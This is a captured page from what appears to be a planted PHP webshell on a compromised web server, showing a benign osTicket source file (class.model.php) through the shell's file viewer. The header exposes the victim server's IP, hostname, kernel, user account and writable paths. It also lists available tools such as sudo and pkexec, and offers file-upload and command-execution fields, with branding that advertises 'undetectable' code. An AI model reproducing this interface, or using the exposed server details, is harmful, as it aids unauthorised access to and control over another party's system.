- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.144.98.43
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/puertode/public_html/mesa/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/puertode/public_html/mesa/include/class.model.php
<?php
/*********************************************************************
    class.model.php

    Peter Rotich <peter@osticket.com>
    Copyright (c)  2006-2014 osTicket
    http://www.osticket.com

    Released under the GNU General Public License WITHOUT ANY WARRANTY.
    See LICENSE.TXT for details.

    vim: expandtab sw=4 ts=4 sts=4:
**********************************************************************/

// TODO:  Make ObjectModel models base class and extend VerySimpleModel
class ObjectModel {

    const OBJECT_TYPE_TICKET       = 'T';
    const OBJECT_TYPE_THREAD       = 'H';
    const OBJECT_TYPE_USER         = 'U';
    const OBJECT_TYPE_ORG          = 'O';
    const OBJECT_TYPE_FAQ          = 'K';
    const OBJECT_TYPE_FILE         = 'F';
    const OBJECT_TYPE_TASK         = 'A';
    const OBJECT_TYPE_TEAM         = 'E';
    const OBJECT_TYPE_DEPT         = 'D';
    const OBJECT_TYPE_STAFF        = 'S';
    const OBJECT_TYPE_CHILD_TICKET = 'C';

    private static function objects() {
        static $objects = false;
        if ($objects == false) {
            $objects = array(
                self::OBJECT_TYPE_TICKET        => 'Ticket',
                self::OBJECT_TYPE_THREAD        => 'ThreadEntry',
                self::OBJECT_TYPE_USER          => 'User',
                self::OBJECT_TYPE_ORG           => 'Organization',
                self::OBJECT_TYPE_FAQ           => 'FAQ',
                self::OBJECT_TYPE_FILE          => 'AttachmentFile',
                self::OBJECT_TYPE_TASK          => 'Task',
                self::OBJECT_TYPE_TEAM          => 'Team',
                self::OBJECT_TYPE_DEPT          => 'Dept',
                self::OBJECT_TYPE_STAFF         => 'Staff',
                self::OBJECT_TYPE_CHILD_TICKET  => 'Ticket',
            );
        }

        return $objects;
    }

    static function getType($model) {

        foreach (self::objects() as $t => $c) {
            if ($model instanceof $c)
                return $t;
        }
    }

    static function lookup($id, $type) {
        $model = null;
        if ($id
                && ($objects=self::objects())
                && ($class=$objects[$type])
                && class_exists($class)
                && is_callable(array($class, 'lookup')))
            $model = $class::lookup($id);

        return $model;
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit